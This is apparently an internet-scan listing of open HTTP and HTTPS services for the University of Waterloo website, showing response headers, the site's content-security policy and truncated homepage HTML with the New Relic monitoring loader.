(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 151.101.194.132:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: 268a6bf2-f9b6-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-lcy-egml8630079-LCY, cache-lcy-egml8630079-LCY
X-Cache: MISS, HIT, MISS
X-Cache-Hits: 0, 3, 0
X-Timer: S1769331324.709421,VS0,VE2
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 151.101.130.132:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: 268a6bf2-f9b6-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-lcy-egml8630079-LCY, cache-lcy-egml8630081-LCY
X-Cache: MISS, HIT, MISS
X-Cache-Hits: 0, 4, 0
X-Timer: S1769331324.709150,VS0,VE2
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 2a04:4e42::645:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-fra-eddf8230175-FRA X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 2a04:4e42:600::645:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: 1e341f7d-f9bf-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-rtm-ehrd2290021-RTM, cache-rtm-ehrd2290057-RTM
X-Cache: MISS, HIT, MISS
X-Cache-Hits: 0, 1, 0
X-Timer: S1769331324.707059,VS0,VE8
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return 